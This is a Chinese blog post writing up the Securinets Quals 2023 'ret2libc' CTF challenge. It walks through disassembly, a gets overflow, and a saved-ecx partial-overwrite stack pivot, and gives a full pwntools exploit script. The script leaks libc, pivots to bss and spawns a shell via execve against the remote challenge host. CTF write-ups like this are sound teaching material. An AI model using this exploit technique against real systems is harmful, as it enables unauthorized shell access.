Securinets Quals 2023 ctf——ret2libc

Securinets Quals 2023 ctf——ret2libc

记一次远程爆破的一个大坑

代码审计

32位程序,防护开了NX和Partial RELRO,Canary和PIE没有开。

有一个简单粗暴的gets栈溢出,puts调用过作为提示语,栈溢出之前没有泄露机会。

.text:080491D3                               ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:080491D3                               public main
.text:080491D3                               main proc near                          ; DATA XREF: _start+1C↑o
.text:080491D3
.text:080491D3                               s= byte ptr -58h
.text:080491D3                               anonymous_0= dword ptr -8
.text:080491D3                               argc= dword ptr  8
.text:080491D3                               argv= dword ptr  0Ch
.text:080491D3                               envp= dword ptr  10h
.text:080491D3
.text:080491D3                               ; __unwind {
.text:080491D3 8D 4C 24 04                   lea     ecx, [esp+4]
.text:080491D7 83 E4 F0                      and     esp, 0FFFFFFF0h
.text:080491DA FF 71 FC                      push    dword ptr [ecx-4]
.text:080491DD 55                            push    ebp
.text:080491DE 89 E5                         mov     ebp, esp
.text:080491E0 53                            push    ebx
.text:080491E1 51                            push    ecx
.text:080491E2 83 EC 50                      sub     esp, 50h
.text:080491E5 E8 C6 FE FF FF                call    __x86_get_pc_thunk_bx
.text:080491E5
.text:080491EA 81 C3 0A 2E 00 00             add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:080491F0 E8 81 FF FF FF                call    setup
.text:080491F0
.text:080491F5 83 EC 0C                      sub     esp, 0Ch
.text:080491F8 8D 83 14 E0 FF FF             lea     eax, (aIsThisSolveabl - 804BFF4h)[ebx] ; "Is this solveable?"
.text:080491FE 50                            push    eax                             ; s
.text:080491FF E8 4C FE FF FF                call    _puts
.text:080491FF
.text:08049204 83 C4 10                      add     esp, 10h
.text:08049207 83 EC 0C                      sub     esp, 0Ch
.text:0804920A 8D 45 A8                      lea     eax, [ebp+s]
.text:0804920D 50                            push    eax                             ; s
.text:0804920E E8 2D FE FF FF                call    _gets
.text:0804920E
.text:08049213 83 C4 10                      add     esp, 10h
.text:08049216 B8 00 00 00 00                mov     eax, 0
.text:0804921B 8D 65 F8                      lea     esp, [ebp-8]
.text:0804921E 59                            pop     ecx
.text:0804921F 5B                            pop     ebx
.text:08049220 5D                            pop     ebp
.text:08049221 8D 61 FC                      lea     esp, [ecx-4]
.text:08049224 C3                            retn
.text:08049224                               ; } // starts at 80491D3
.text:08049224
.text:08049224                               main endp

看一下main函数结束的位置,结尾处在局部变量下方和last_ebp上方这段区域,还有先前保存的ecx,ebx,而在ret之前,有一句lea esp,[ecx-4],这意味着main函数不能通过常规的栈溢出漏洞来直接覆盖返回地址劫持程序执行流。

直接看是找不到思路的,但是既然是ecx-4的值赋值给了esp,一般程序在没有非法输入前一定是“安分守己”的,因此栈上保存的ecx大概正常情况下应该是个栈地址,事实上在gdb中调试观察内存会发现的确如此,且这个地址在main函数栈帧下方不远处。

gets函数的特点是以\n(或EOF)作为结束标记,并把截断字符置为\x00。我们可以用这个特点覆盖栈上暂存的ecx数值的低位字节,这样,原本lea esp,[ecx-4]的降栈操作,由于我们将低位修改为了\x00,往往会变成抬栈操作,有1/16的概率将栈正好抬升到我们先前输入的数据附件,并令esp直接指向提前布置好的rop链开端。

第一个rop链完成泄露操作,并用gets想bss段写上新的获得shell的rop链,之后再次利用结尾的pop ecx和lea esp,[ecx-4],将esp迁移到bss段并执行前一个rop链调用的gets读入的第二个rop链,实现get shell。

注意远程交互时有时间延迟,由于爆破成功会成功泄露libc地址,我们依靠recvuntil('\x7f')是否接受来判断是否爆破成功,在参数里加入timeout,注意timeout值要大一些,否则会出现因为回显过慢,被脚本误以为爆破失败的情况。

如果大家有更好的爆破思路,可以在评论区分享。

EXP

就做了这一个,别的没做,这几天忙着社团招新......

from pwn import *
import tty 
#from ctypes import *

context.terminal=['tmux','splitw','-h']
context.arch='i386'
context.log_level='debug'

ELFpath='/home/wjc/Desktop/togive/main' 
libcpath='/home/wjc/Desktop/togive/libc.so.6'

#p=process(ELFpath)
#p=remote('pwn.ctf.securinets.tn',6666)

e=ELF(ELFpath)
libc=ELF(libcpath)

rut=lambda s :p.recvuntil(s,timeout=1)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
rl=lambda :p.recvline()
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s) 
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))

LOGTOOL={}
def LOGALL():
    log.success("**** all result ****")
    for i in LOGTOOL.items():
        log.success("%-20s%s"%(i[0]+":",hex(i[1])))

def get_base(a, text_name):
    text_addr = 0
    libc_base = 0
    for name, addr in a.libs().items():
        if text_name in name:
            text_addr = addr
        elif "libc" in name:
            libc_base = addr 
    return text_addr, libc_base
def debug():
    global p
    text_base, libc_base = get_base(p, 'noka')
    script = '''
    set $text_base = {}
    set $libc_base = {}
    b*0x8049213

    '''.format(text_base, libc_base)
    #b mprotect
    #b *($text_base+0x0000000000000000F84)
    #b *($text_base+0x000000000000134C)
    # b *($text_base+0x0000000000000000001126)
    #dprintf *($text_base+0x04441),"%c",$ax
    #dprintf *($text_base+0x04441),"%c",$ax
    #0x12D5
    #0x04441
    #b *($text_base+0x0000000000001671)
    gdb.attach(p, script)

def ptrxor(pos,ptr):
    return p64((pos >> 12) ^ ptr)

def pwn():
    puts_plt=e.plt['puts']
    puts_got=e.got['puts']
    gets_plt=e.plt['gets']
    gets_got=e.got['gets']
    fake_stack=0x804c200+4

    '''
    .text:0804921E 59                            pop     ecx
    .text:0804921F 5B                            pop     ebx
    .text:08049220 5D                            pop     ebp
    .text:08049221 8D 61 FC                      lea     esp, [ecx-4]
    .text:08049224 C3                            retn
    '''
    mov_stack=0x804921E


    #0x0804901e : pop ebx ; ret
    pop_ebx_ret=0x0804901e

    ru('Is this solveable?\n')

    #debug()

    rop_chain=p32(0)*3+p32(0x8049224)*5+p32(puts_plt)+p32(pop_ebx_ret)+p32(puts_got)+p32(gets_plt)+p32(pop_ebx_ret)+p32(fake_stack)+p32(mov_stack)+p32(fake_stack+4)+p32(0)+p32(0)
    pay1=rop_chain.ljust(0x50,'\x00')
    sl(pay1)

    libcbase=u32(rut('\xf7')[-4:])-0x74db0


    LOGTOOL['libcbase']=libcbase

    str_bin_sh=libcbase+libc.search("/bin/sh").next()
    LOGTOOL['str_bin_sh']=str_bin_sh
    execve_addr=libcbase+libc.symbols['execve']
    LOGTOOL['execve']=execve_addr

    LOGALL()

    rop_chain_2=p32(execve_addr)+p32(0)+p32(str_bin_sh)+p32(0)+p32(0)
    sl(rop_chain_2)

    return 0

#pwn()
#it()

if __name__=='__main__':
    while(1):
        try:
            #p=process(ELFpath)
            p=remote('pwn.ctf.securinets.tn',6666)
            #p=remote('127.0.0.1',1234)

            pwn()
            it()
            break
        except:
            p.close()
posted @ 2023-08-07 12:59  Jmp·Cliff  阅读(110)  评论(0编辑  收藏  举报